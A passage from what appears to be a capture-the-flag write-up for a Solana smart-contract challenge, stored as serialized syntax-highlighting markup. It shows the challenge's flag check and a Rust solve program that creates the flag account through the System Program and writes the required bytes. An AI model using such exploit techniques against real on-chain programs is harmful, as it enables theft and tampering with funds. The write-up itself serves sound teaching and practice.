payer",{"type":23,"tag":230,"props":44010,"children":44011},{"style":268},[44012],{"type":29,"value":271},{"type":23,"tag":230,"props":44014,"children":44015},{"style":262},[44016],{"type":29,"value":43966},{"type":23,"tag":230,"props":44018,"children":44019},{"style":268},[44020],{"type":29,"value":312},{"type":23,"tag":230,"props":44022,"children":44023},{"style":294},[44024],{"type":29,"value":5880},{"type":23,"tag":230,"props":44026,"children":44027},{"style":274},[44028],{"type":29,"value":2140},{"type":23,"tag":230,"props":44030,"children":44031},{"class":232,"line":371},[44032],{"type":23,"tag":230,"props":44033,"children":44034},{"emptyLinePlaceholder":18},[44035],{"type":29,"value":459},{"type":23,"tag":230,"props":44037,"children":44038},{"class":232,"line":391},[44039],{"type":23,"tag":230,"props":44040,"children":44041},{"style":262},[44042],{"type":29,"value":44043},"chall\n",{"type":23,"tag":230,"props":44045,"children":44046},{"class":232,"line":400},[44047,44052,44057,44062,44066,44070,44074,44078,44083,44087,44091,44095,44099,44104],{"type":23,"tag":230,"props":44048,"children":44049},{"style":268},[44050],{"type":29,"value":44051},"    .",{"type":23,"tag":230,"props":44053,"children":44054},{"style":294},[44055],{"type":29,"value":44056},"run_ix",{"type":23,"tag":230,"props":44058,"children":44059},{"style":274},[44060],{"type":29,"value":44061},"(system_instruction",{"type":23,"tag":230,"props":44063,"children":44064},{"style":268},[44065],{"type":29,"value":5818},{"type":23,"tag":230,"props":44067,"children":44068},{"style":294},[44069],{"type":29,"value":34417},{"type":23,"tag":230,"props":44071,"children":44072},{"style":274},[44073],{"type":29,"value":302},{"type":23,"tag":230,"props":44075,"children":44076},{"style":268},[44077],{"type":29,"value":5448},{"type":23,"tag":230,"props":44079,"children":44080},{"style":262},[44081],{"type":29,"value":44082},"payer",{"type":23,"tag":230,"props":44084,"children":44085},{"style":274},[44086],{"type":29,"value":684},{"type":23,"tag":230,"props":44088,"children":44089},{"style":268},[44090],{"type":29,"value":5448},{"type":23,"tag":230,"props":44092,"children":44093},{"style":262},[44094],{"type":29,"value":22547},{"type":23,"tag":230,"props":44096,"children":44097},{"style":274},[44098],{"type":29,"value":684},{"type":23,"tag":230,"props":44100,"children":44101},{"style":5149},[44102],{"type":29,"value":44103},"100_000_000_000",{"type":23,"tag":230,"props":44105,"children":44106},{"style":274},[44107],{"type":29,"value":22026},{"type":23,"tag":230,"props":44109,"children":44110},{"class":232,"line":444},[44111,44115,44119,44123],{"type":23,"tag":230,"props":44112,"children":44113},{"style":268},[44114],{"type":29,"value":44051},{"type":23,"tag":230,"props":44116,"children":44117},{"style":866},[44118],{"type":29,"value":2640},{"type":23,"tag":230,"props":44120,"children":44121},{"style":268},[44122],{"type":29,"value":5494},{"type":23,"tag":230,"props":44124,"children":44125},{"style":274},[44126],{"type":29,"value":511},{"type":23,"tag":230,"props":44128,"children":44129},{"class":232,"line":453},[44130],{"type":23,"tag":230,"props":44131,"children":44132},{"emptyLinePlaceholder":18},[44133],{"type":29,"value":459},{"type":23,"tag":230,"props":44135,"children":44136},{"class":232,"line":462},[44137,44142,44146,44150,44154,44159,44163,44167,44171,44175],{"type":23,"tag":230,"props":44138,"children":44139},{"style":294},[44140],{"type":29,"value":44141},"writeln!",{"type":23,"tag":230,"props":44143,"children":44144},{"style":274},[44145],{"type":29,"value":302},{"type":23,"tag":230,"props":44147,"children":44148},{"style":262},[44149],{"type":29,"value":43705},{"type":23,"tag":230,"props":44151,"children":44152},{"style":274},[44153],{"type":29,"value":684},{"type":23,"tag":230,"props":44155,"children":44156},{"style":380},[44157],{"type":29,"value":44158},"\"user: {}\"",{"type":23,"tag":230,"props":44160,"children":44161},{"style":274},[44162],{"type":29,"value":684},{"type":23,"tag":230,"props":44164,"children":44165},{"style":262},[44166],{"type":29,"value":22547},{"type":23,"tag":230,"props":44168,"children":44169},{"style":274},[44170],{"type":29,"value":5467},{"type":23,"tag":230,"props":44172,"children":44173},{"style":268},[44174],{"type":29,"value":5494},{"type":23,"tag":230,"props":44176,"children":44177},{"style":274},[44178],{"type":29,"value":511},{"type":23,"tag":144,"props":44180,"children":44181},{"start":252},[44182],{"type":23,"tag":102,"props":44183,"children":44184},{},[44185],{"type":29,"value":44186},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":220,"props":44188,"children":44190},{"className":5320,"code":44189,"language":5319,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[44191],{"type":23,"tag":71,"props":44192,"children":44193},{"__ignoreMap":7},[44194,44244],{"type":23,"tag":230,"props":44195,"children":44196},{"class":232,"line":233},[44197,44201,44206,44210,44214,44218,44223,44227,44231,44236,44240],{"type":23,"tag":230,"props":44198,"children":44199},{"style":256},[44200],{"type":29,"value":14118},{"type":23,"tag":230,"props":44202,"children":44203},{"style":262},[44204],{"type":29,"value":44205}," solve_ix",{"type":23,"tag":230,"props":44207,"children":44208},{"style":268},[44209],{"type":29,"value":271},{"type":23,"tag":230,"props":44211,"children":44212},{"style":262},[44213],{"type":29,"value":43810},{"type":23,"tag":230,"props":44215,"children":44216},{"style":268},[44217],{"type":29,"value":312},{"type":23,"tag":230,"props":44219,"children":44220},{"style":294},[44221],{"type":29,"value":44222},"read_instruction",{"type":23,"tag":230,"props":44224,"children":44225},{"style":274},[44226],{"type":29,"value":43792},{"type":23,"tag":230,"props":44228,"children":44229},{"style":268},[44230],{"type":29,"value":5818},{"type":23,"tag":230,"props":44232,"children":44233},{"style":274},[44234],{"type":29,"value":44235},"ID)",{"type":23,"tag":230,"props":44237,"children":44238},{"style":268},[44239],{"type":29,"value":5494},{"type":23,"tag":230,"props":44241,"children":44242},{"style":274},[44243],{"type":29,"value":511},{"type":23,"tag":230,"props":44245,"children":44246},{"class":232,"line":243},[44247,44251,44255,44260,44264,44268,44272,44277,44281,44285,44289,44293,44298,44302,44306,44310,44314,44318,44322,44326],{"type":23,"tag":230,"props":44248,"children":44249},{"style":262},[44250],{"type":29,"value":43979},{"type":23,"tag":230,"props":44252,"children":44253},{"style":268},[44254],{"type":29,"value":312},{"type":23,"tag":230,"props":44256,"children":44257},{"style":294},[44258],{"type":29,"value":44259},"run_ixs_full",{"type":23,"tag":230,"props":44261,"children":44262},{"style":274},[44263],{"type":29,"value":302},{"type":23,"tag":230,"props":44265,"children":44266},{"style":268},[44267],{"type":29,"value":5448},{"type":23,"tag":230,"props":44269,"children":44270},{"style":274},[44271],{"type":29,"value":6069},{"type":23,"tag":230,"props":44273,"children":44274},{"style":262},[44275],{"type":29,"value":44276},"solve_ix",{"type":23,"tag":230,"props":44278,"children":44279},{"style":274},[44280],{"type":29,"value":25375},{"type":23,"tag":230,"props":44282,"children":44283},{"style":268},[44284],{"type":29,"value":5448},{"type":23,"tag":230,"props":44286,"children":44287},{"style":274},[44288],{"type":29,"value":6069},{"type":23,"tag":230,"props":44290,"children":44291},{"style":268},[44292],{"type":29,"value":5448},{"type":23,"tag":230,"props":44294,"children":44295},{"style":262},[44296],{"type":29,"value":44297},"user_keypair",{"type":23,"tag":230,"props":44299,"children":44300},{"style":274},[44301],{"type":29,"value":25375},{"type":23,"tag":230,"props":44303,"children":44304},{"style":268},[44305],{"type":29,"value":5448},{"type":23,"tag":230,"props":44307,"children":44308},{"style":262},[44309],{"type":29,"value":22547},{"type":23,"tag":230,"props":44311,"children":44312},{"style":274},[44313],{"type":29,"value":5467},{"type":23,"tag":230,"props":44315,"children":44316},{"style":268},[44317],{"type":29,"value":312},{"type":23,"tag":230,"props":44319,"children":44320},{"style":866},[44321],{"type":29,"value":2640},{"type":23,"tag":230,"props":44323,"children":44324},{"style":268},[44325],{"type":29,"value":5494},{"type":23,"tag":230,"props":44327,"children":44328},{"style":274},[44329],{"type":29,"value":511},{"type":23,"tag":144,"props":44331,"children":44332},{"start":280},[44333],{"type":23,"tag":102,"props":44334,"children":44335},{},[44336],{"type":29,"value":44337},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":220,"props":44339,"children":44341},{"className":5320,"code":44340,"language":5319,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[44342],{"type":23,"tag":71,"props":44343,"children":44344},{"__ignoreMap":7},[44345,44429,44520,44561,44645,44652,44689,44746,44791,44806,44842,44849,44856],{"type":23,"tag":230,"props":44346,"children":44347},{"class":232,"line":233},[44348,44352,44357,44361,44365,44369,44374,44378,44382,44386,44391,44395,44400,44405,44409,44413,44417,44421,44425],{"type":23,"tag":230,"props":44349,"children":44350},{"style":256},[44351],{"type":29,"value":14118},{"type":23,"tag":230,"props":44353,"children":44354},{"style":262},[44355],{"type":29,"value":44356}," flag",{"type":23,"tag":230,"props":44358,"children":44359},{"style":268},[44360],{"type":29,"value":271},{"type":23,"tag":230,"props":44362,"children":44363},{"style":676},[44364],{"type":29,"value":23172},{"type":23,"tag":230,"props":44366,"children":44367},{"style":268},[44368],{"type":29,"value":5818},{"type":23,"tag":230,"props":44370,"children":44371},{"style":294},[44372],{"type":29,"value":44373},"create_program_address",{"type":23,"tag":230,"props":44375,"children":44376},{"style":274},[44377],{"type":29,"value":302},{"type":23,"tag":230,"props":44379,"children":44380},{"style":268},[44381],{"type":29,"value":5448},{"type":23,"tag":230,"props":44383,"children":44384},{"style":274},[44385],{"type":29,"value":6069},{"type":23,"tag":230,"props":44387,"children":44388},{"style":380},[44389],{"type":29,"value":44390},"\"FLAG\"",{"type":23,"tag":230,"props":44392,"children":44393},{"style":268},[44394],{"type":29,"value":312},{"type":23,"tag":230,"props":44396,"children":44397},{"style":294},[44398],{"type":29,"value":44399},"as_ref",{"type":23,"tag":230,"props":44401,"children":44402},{"style":274},[44403],{"type":29,"value":44404},"()], ",{"type":23,"tag":230,"props":44406,"children":44407},{"style":268},[44408],{"type":29,"value":5448},{"type":23,"tag":230,"props":44410,"children":44411},{"style":274},[44412],{"type":29,"value":43979},{"type":23,"tag":230,"props":44414,"children":44415},{"style":268},[44416],{"type":29,"value":5818},{"type":23,"tag":230,"props":44418,"children":44419},{"style":274},[44420],{"type":29,"value":44235},{"type":23,"tag":230,"props":44422,"children":44423},{"style":268},[44424],{"type":29,"value":5494},{"type":23,"tag":230,"props":44426,"children":44427},{"style":274},[44428],{"type":29,"value":511},{"type":23,"tag":230,"props":44430,"children":44431},{"class":232,"line":243},[44432,44436,44440,44444,44448,44453,44457,44461,44465,44469,44473,44477,44482,44486,44491,44495,44500,44504,44508,44512,44516],{"type":23,"tag":230,"props":44433,"children":44434},{"style":866},[44435],{"type":29,"value":17904},{"type":23,"tag":230,"props":44437,"children":44438},{"style":256},[44439],{"type":29,"value":29612},{"type":23,"tag":230,"props":44441,"children":44442},{"style":676},[44443],{"type":29,"value":29617},{"type":23,"tag":230,"props":44445,"children":44446},{"style":274},[44447],{"type":29,"value":302},{"type":23,"tag":230,"props":44449,"children":44450},{"style":262},[44451],{"type":29,"value":44452},"acct",{"type":23,"tag":230,"props":44454,"children":44455},{"style":274},[44456],{"type":29,"value":703},{"type":23,"tag":230,"props":44458,"children":44459},{"style":268},[44460],{"type":29,"value":863},{"type":23,"tag":230,"props":44462,"children":44463},{"style":262},[44464],{"type":29,"value":43810},{"type":23,"tag":230,"props":44466,"children":44467},{"style":268},[44468],{"type":29,"value":312},{"type":23,"tag":230,"props":44470,"children":44471},{"style":274},[44472],{"type":29,"value":22595},{"type":23,"tag":230,"props":44474,"children":44475},{"style":268},[44476],{"type":29,"value":312},{"type":23,"tag":230,"props":44478,"children":44479},{"style":274},[44480],{"type":29,"value":44481},"banks_client",{"type":23,"tag":230,"props":44483,"children":44484},{"style":268},[44485],{"type":29,"value":312},{"type":23,"tag":230,"props":44487,"children":44488},{"style":294},[44489],{"type":29,"value":44490},"get_account",{"type":23,"tag":230,"props":44492,"children":44493},{"style":274},[44494],{"type":29,"value":302},{"type":23,"tag":230,"props":44496,"children":44497},{"style":262},[44498],{"type":29,"value":44499},"flag",{"type":23,"tag":230,"props":44501,"children":44502},{"style":274},[44503],{"type":29,"value":5467},{"type":23,"tag":230,"props":44505,"children":44506},{"style":268},[44507],{"type":29,"value":312},{"type":23,"tag":230,"props":44509,"children":44510},{"style":866},[44511],{"type":29,"value":2640},{"type":23,"tag":230,"props":44513,"children":44514},{"style":268},[44515],{"type":29,"value":5494},{"type":23,"tag":230,"props":44517,"children":44518},{"style":274},[44519],{"type":29,"value":277},{"type":23,"tag":230,"props":44521,"children":44522},{"class":232,"line":252},[44523,44527,44532,44536,44540,44544,44548,44552,44556],{"type":23,"tag":230,"props":44524,"children":44525},{"style":866},[44526],{"type":29,"value":1493},{"type":23,"tag":230,"props":44528,"children":44529},{"style":262},[44530],{"type":29,"value":44531}," acct",{"type":23,"tag":230,"props":44533,"children":44534},{"style":268},[44535],{"type":29,"value":312},{"type":23,"tag":230,"props":44537,"children":44538},{"style":274},[44539],{"type":29,"value":6037},{"type":23,"tag":230,"props":44541,"children":44542},{"style":268},[44543],{"type":29,"value":312},{"type":23,"tag":230,"props":44545,"children":44546},{"style":294},[44547],{"type":29,"value":11471},{"type":23,"tag":230,"props":44549,"children":44550},{"style":274},[44551],{"type":29,"value":16370},{"type":23,"tag":230,"props":44553,"children":44554},{"style":268},[44555],{"type":29,"value":10911},{"type":23,"tag":230,"props":44557,"children":44558},{"style":5149},[44559],{"type":29,"value":44560}," 0x1337\n",{"type":23,"tag":230,"props":44562,"children":44563},{"class":232,"line":280},[44564,44569,44573,44577,44582,44586,44590,44594,44599,44603,44607,44611,44615,44619,44623,44627,44631,44636,44640],{"type":23,"tag":230,"props":44565,"children":44566},{"style":268},[44567],{"type":29,"value":44568},"        &&",{"type":23,"tag":230,"props":44570,"children":44571},{"style":676},[44572],{"type":29,"value":8197},{"type":23,"tag":230,"props":44574,"children":44575},{"style":268},[44576],{"type":29,"value":5818},{"type":23,"tag":230,"props":44578,"children":44579},{"style":294},[44580],{"type":29,"value":44581},"from_le_bytes",{"type":23,"tag":230,"props":44583,"children":44584},{"style":274},[44585],{"type":29,"value":302},{"type":23,"tag":230,"props":44587,"children":44588},{"style":262},[44589],{"type":29,"value":44452},{"type":23,"tag":230,"props":44591,"children":44592},{"style":268},[44593],{"type":29,"value":312},{"type":23,"tag":230,"props":44595,"children":44596},{"style":274},[44597],{"type":29,"value":44598},"data[",{"type":23,"tag":230,"props":44600,"children":44601},{"style":268},[44602],{"type":29,"value":5391},{"type":23,"tag":230,"props":44604,"children":44605},{"style":5149},[44606],{"type":29,"value":6412},{"type":23,"tag":230,"props":44608,"children":44609},{"style":274},[44610],{"type":29,"value":17735},{"type":23,"tag":230,"props":44612,"children":44613},{"style":268},[44614],{"type":29,"value":312},{"type":23,"tag":230,"props":44616,"children":44617},{"style":294},[44618],{"type":29,"value":28469},{"type":23,"tag":230,"props":44620,"children":44621},{"style":274},[44622],{"type":29,"value":16206},{"type":23,"tag":230,"props":44624,"children":44625},{"style":268},[44626],{"type":29,"value":312},{"type":23,"tag":230,"props":44628,"children":44629},{"style":294},[44630],{"type":29,"value":6001},{"type":23,"tag":230,"props":44632,"children":44633},{"style":274},[44634],{"type":29,"value":44635},"()) ",{"type":23,"tag":230,"props":44637,"children":44638},{"style":268},[44639],{"type":29,"value":10911},{"type":23,"tag":230,"props":44641,"children":44642},{"style":5149},[44643],{"type":29,"value":44644}," 0x4337\n",{"type":23,"tag":230,"props":44646,"children":44647},{"class":232,"line":334},[44648],{"type":23,"tag":230,"props":44649,"children":44650},{"style":274},[44651],{"type":29,"value":31494},{"type":23,"tag":230,"props":44653,"children":44654},{"class":232,"line":371},[44655,44660,44664,44668,44672,44677,44681,44685],{"type":23,"tag":230,"props":44656,"children":44657},{"style":294},[44658],{"type":29,"value":44659},"        writeln!",{"type":23,"tag":230,"props":44661,"children":44662},{"style":274},[44663],{"type":29,"value":302},{"type":23,"tag":230,"props":44665,"children":44666},{"style":262},[44667],{"type":29,"value":43705},{"type":23,"tag":230,"props":44669,"children":44670},{"style":274},[44671],{"type":29,"value":684},{"type":23,"tag":230,"props":44673,"children":44674},{"style":380},[44675],{"type":29,"value":44676},"\"congrats!\"",{"type":23,"tag":230,"props":44678,"children":44679},{"style":274},[44680],{"type":29,"value":5467},{"type":23,"tag":230,"props":44682,"children":44683},{"style":268},[44684],{"type":29,"value":5494},{"type":23,"tag":230,"props":44686,"children":44687},{"style":274},[44688],{"type":29,"value":511},{"type":23,"tag":230,"props":44690,"children":44691},{"class":232,"line":391},[44692,44696,44700,44705,44709,44713,44717,44721,44726,44730,44734,44738,44742],{"type":23,"tag":230,"props":44693,"children":44694},{"style":866},[44695],{"type":29,"value":5611},{"type":23,"tag":230,"props":44697,"children":44698},{"style":256},[44699],{"type":29,"value":29612},{"type":23,"tag":230,"props":44701,"children":44702},{"style":676},[44703],{"type":29,"value":44704}," Ok",{"type":23,"tag":230,"props":44706,"children":44707},{"style":274},[44708],{"type":29,"value":302},{"type":23,"tag":230,"props":44710,"children":44711},{"style":262},[44712],{"type":29,"value":44499},{"type":23,"tag":230,"props":44714,"children":44715},{"style":274},[44716],{"type":29,"value":703},{"type":23,"tag":230,"props":44718,"children":44719},{"style":268},[44720],{"type":29,"value":863},{"type":23,"tag":230,"props":44722,"children":44723},{"style":274},[44724],{"type":29,"value":44725}," env",{"type":23,"tag":230,"props":44727,"children":44728},{"style":268},[44729],{"type":29,"value":5818},{"type":23,"tag":230,"props":44731,"children":44732},{"style":294},[44733],{"type":29,"value":37334},{"type":23,"tag":230,"props":44735,"children":44736},{"style":274},[44737],{"type":29,"value":302},{"type":23,"tag":230,"props":44739,"children":44740},{"style":380},[44741],{"type":29,"value":44390},{"type":23,"tag":230,"props":44743,"children":44744},{"style":274},[44745],{"type":29,"value":827},{"type":23,"tag":230,"props":44747,"children":44748},{"class":232,"line":400},[44749,44754,44758,44762,44766,44771,44775,44779,44783,44787],{"type":23,"tag":230,"props":44750,"children":44751},{"style":294},[44752],{"type":29,"value":44753},"            writeln!",{"type":23,"tag":230,"props":44755,"children":44756},{"style":274},[44757],{"type":29,"value":302},{"type":23,"tag":230,"props":44759,"children":44760},{"style":262},[44761],{"type":29,"value":43705},{"type":23,"tag":230,"props":44763,"children":44764},{"style":274},[44765],{"type":29,"value":684},{"type":23,"tag":230,"props":44767,"children":44768},{"style":380},[44769],{"type":29,"value":44770},"\"flag: {:?}\"",{"type":23,"tag":230,"props":44772,"children":44773},{"style":274},[44774],{"type":29,"value":684},{"type":23,"tag":230,"props":44776,"children":44777},{"style":262},[44778],{"type":29,"value":44499},{"type":23,"tag":230,"props":44780,"children":44781},{"style":274},[44782],{"type":29,"value":5467},{"type":23,"tag":230,"props":44784,"children":44785},{"style":268},[44786],{"type":29,"value":5494},{"type":23,"tag":230,"props":44788,"children":44789},{"style":274},[44790],{"type":29,"value":511},{"type":23,"tag":230,"props":44792,"children":44793},{"class":232,"line":444},[44794,44798,44802],{"type":23,"tag":230,"props":44795,"children":44796},{"style":274},[44797],{"type":29,"value":5649},{"type":23,"tag":230,"props":44799,"children":44800},{"style":866},[44801],{"type":29,"value":5654},{"type":23,"tag":230,"props":44803,"children":44804},{"style":274},[44805],{"type":29,"value":277},{"type":23,"tag":230,"props":44807,"children":44808},{"class":232,"line":453},[44809,44813,44817,44821,44825,44830,44834,44838],{"type":23,"tag":230,"props":44810,"children":44811},{"style":294},[44812],{"type":29,"value":44753},{"type":23,"tag":230,"props":44814,"children":44815},{"style":274},[44816],{"type":29,"value":302},{"type":23,"tag":230,"props":44818,"children":44819},{"style":262},[44820],{"type":29,"value":43705},{"type":23,"tag":230,"props":44822,"children":44823},{"style":274},[44824],{"type":29,"value":684},{"type":23,"tag":230,"props":44826,"children":44827},{"style":380},[44828],{"type":29,"value":44829},"\"flag not found, please contact admin\"",{"type":23,"tag":230,"props":44831,"children":44832},{"style":274},[44833],{"type":29,"value":5467},{"type":23,"tag":230,"props":44835,"children":44836},{"style":268},[44837],{"type":29,"value":5494},{"type":23,"tag":230,"props":44839,"children":44840},{"style":274},[44841],{"type":29,"value":511},{"type":23,"tag":230,"props":44843,"children":44844},{"class":232,"line":462},[44845],{"type":23,"tag":230,"props":44846,"children":44847},{"style":274},[44848],{"type":29,"value":5686},{"type":23,"tag":230,"props":44850,"children":44851},{"class":232,"line":471},[44852],{"type":23,"tag":230,"props":44853,"children":44854},{"style":274},[44855],{"type":29,"value":1552},{"type":23,"tag":230,"props":44857,"children":44858},{"class":232,"line":500},[44859],{"type":23,"tag":230,"props":44860,"children":44861},{"style":274},[44862],{"type":29,"value":975},{"type":23,"tag":24,"props":44864,"children":44866},{"id":44865},"solution-idea",[44867],{"type":29,"value":44868},"Solution Idea",{"type":23,"tag":32,"props":44870,"children":44871},{},[44872,44874,44879],{"type":29,"value":44873},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":71,"props":44875,"children":44877},{"className":44876},[],[44878],{"type":29,"value":307},{"type":29,"value":44880}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":32,"props":44882,"children":44883},{},[44884,44886,44892],{"type":29,"value":44885},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":71,"props":44887,"children":44889},{"className":44888},[],[44890],{"type":29,"value":44891},"PDA(\"FLAG\")",{"type":29,"value":44893}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":32,"props":44895,"children":44896},{},[44897,44899,44906],{"type":29,"value":44898},"Essentially, we need to ",{"type":23,"tag":181,"props":44900,"children":44903},{"href":44901,"rel":44902},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[185],[44904],{"type":29,"value":44905},"invoke the System Program",{"type":29,"value":44907},", and write controlled data into the newly created account.",{"type":23,"tag":32,"props":44909,"children":44910},{},[44911],{"type":29,"value":44912},"A sample program that does this is as follows:",{"type":23,"tag":220,"props":44914,"children":44916},{"className":5320,"code":44915,"language":5319,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[44917],{"type":23,"tag":71,"props":44918,"children":44919},{"__ignoreMap":7},[44920,44940,44964,44992,45020,45040,45076,45112,45119,45127,45160,45177,45202,45223,45275,45300,45307,45320,45366,45410,45418,45426,45437,45453,45464,45484,45504,45511,45547,45562,45569,45577,45656,45663,45674],{"type":23,"tag":230,"props":44921,"children":44922},{"class":232,"line":233},[44923,44927,44931,44936],{"type":23,"tag":230,"props":44924,"children":44925},{"style":256},[44926],{"type":29,"value":16017},{"type":23,"tag":230,"props":44928,"children":44929},{"style":256},[44930],{"type":29,"value":16022},{"type":23,"tag":230,"props":44932,"children":44933},{"style":294},[44934],{"type":29,"value":44935}," process_instruction",{"type":23,"tag":230,"props":44937,"children":44938},{"style":274},[44939],{"type":29,"value":619},{"type":23,"tag":230,"props":44941,"children":44942},{"class":232,"line":243},[44943,44948,44952,44956,44960],{"type":23,"tag":230,"props":44944,"children":44945},{"style":262},[44946],{"type":29,"value":44947},"    program_id",{"type":23,"tag":230,"props":44949,"children":44950},{"style":268},[44951],{"type":29,"value":218},{"type":23,"tag":230,"props":44953,"children":44954},{"style":268},[44955],{"type":29,"value":9477},{"type":23,"tag":230,"props":44957,"children":44958},{"style":676},[44959],{"type":29,"value":23712},{"type":23,"tag":230,"props":44961,"children":44962},{"style":274},[44963],{"type":29,"value":388},{"type":23,"tag":230,"props":44965,"children":44966},{"class":232,"line":252},[44967,44972,44976,44980,44984,44988],{"type":23,"tag":230,"props":44968,"children":44969},{"style":262},[44970],{"type":29,"value":44971},"    accounts",{"type":23,"tag":230,"props":44973,"children":44974},{"style":268},[44975],{"type":29,"value":218},{"type":23,"tag":230,"props":44977,"children":44978},{"style":268},[44979],{"type":29,"value":9477},{"type":23,"tag":230,"props":44981,"children":44982},{"style":274},[44983],{"type":29,"value":6069},{"type":23,"tag":230,"props":44985,"children":44986},{"style":676},[44987],{"type":29,"value":17264},{"type":23,"tag":230,"props":44989,"children":44990},{"style":274},[44991],{"type":29,"value":16590},{"type":23,"tag":230,"props":44993,"children":44994},{"class":232,"line":280},[44995,45000,45004,45008,45012,45016],{"type":23,"tag":230,"props":44996,"children":44997},{"style":262},[44998],{"type":29,"value":44999},"    data",{"type":23,"tag":230,"props":45001,"children":45002},{"style":268},[45003],{"type":29,"value":218},{"type":23,"tag":230,"props":45005,"children":45006},{"style":268},[45007],{"type":29,"value":9477},{"type":23,"tag":230,"props":45009,"children":45010},{"style":274},[45011],{"type":29,"value":6069},{"type":23,"tag":230,"props":45013,"children":45014},{"style":676},[45015],{"type":29,"value":5759},{"type":23,"tag":230,"props":45017,"children":45018},{"style":274},[45019],{"type":29,"value":14103},{"type":23,"tag":230,"props":45021,"children":45022},{"class":232,"line":334},[45023,45027,45031,45036],{"type":23,"tag":230,"props":45024,"children":45025},{"style":274},[45026],{"type":29,"value":703},{"type":23,"tag":230,"props":45028,"children":45029},{"style":268},[45030],{"type":29,"value":16084},{"type":23,"tag":230,"props":45032,"children":45033},{"style":676},[45034],{"type":29,"value":45035}," ProgramResult",{"type":23,"tag":230,"props":45037,"children":45038},{"style":274},[45039],{"type":29,"value":277},{"type":23,"tag":230,"props":45041,"children":45042},{"class":232,"line":371},[45043,45047,45052,45056,45060,45064,45068,45072],{"type":23,"tag":230,"props":45044,"children":45045},{"style":256},[45046],{"type":29,"value":5340},{"type":23,"tag":230,"props":45048,"children":45049},{"style":262},[45050],{"type":29,"value":45051}," flag_pda_ai",{"type":23,"tag":230,"props":45053,"children":45054},{"style":268},[45055],{"type":29,"value":271},{"type":23,"tag":230,"props":45057,"children":45058},{"style":268},[45059],{"type":29,"value":9477},{"type":23,"tag":230,"props":45061,"children":45062},{"style":262},[45063],{"type":29,"value":17002},{"type":23,"tag":230,"props":45065,"children":45066},{"style":274},[45067],{"type":29,"value":6069},{"type":23,"tag":230,"props":45069,"children":45070},{"style":5149},[45071],{"type":29,"value":6358},{"type":23,"tag":230,"props":45073,"children":45074},{"style":274},[45075],{"type":29,"value":33871},{"type":23,"tag":230,"props":45077,"children":45078},{"class":232,"line":391},[45079,45083,45088,45092,45096,45100,45104,45108],{"type":23,"tag":230,"props":45080,"children":45081},{"style":256},[45082],{"type":29,"value":5340},{"type":23,"tag":230,"props":45084,"children":45085},{"style":262},[45086],{"type":29,"value":45087}," user_ai",{"type":23,"tag":230,"props":45089,"children":45090},{"style":268},[45091],{"type":29,"value":271},{"type":23,"tag":230,"props":45093,"children":45094},{"style":268},[45095],{"type":29,"value":9477},{"type":23,"tag":230,"props":45097,"children":45098},{"style":262},[45099],{"type":29,"value":17002},{"type":23,"tag":230,"props":45101,"children":45102},{"style":274},[45103],{"type":29,"value":6069},{"type":23,"tag":230,"props":45105,"children":45106},{"style":5149},[45107],{"type":29,"value":6348},{"type":23,"tag":230,"props":45109,"children":45110},{"style":274},[45111],{"type":29,"value":33871},{"type":23,"tag":230,"props":45113,"children":45114},{"class":232,"line":400},[45115],{"type":23,"tag":230,"props":45116,"children":45117},{"emptyLinePlaceholder":18},[45118],{"type":29,"value":459},{"type":23,"tag":230,"props":45120,"children":45121},{"class":232,"line":444},[45122],{"type":23,"tag":230,"props":45123,"children":45124},{"style":237},[45125],{"type":29,"value":45126},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":230,"props":45128,"children":45129},{"class":232,"line":453},[45130,45134,45139,45143,45147,45151,45156],{"type":23,"tag":230,"props":45131,"children":45132},{"style":256},[45133],{"type":29,"value":5340},{"type":23,"tag":230,"props":45135,"children":45136},{"style":262},[45137],{"type":29,"value":45138}," 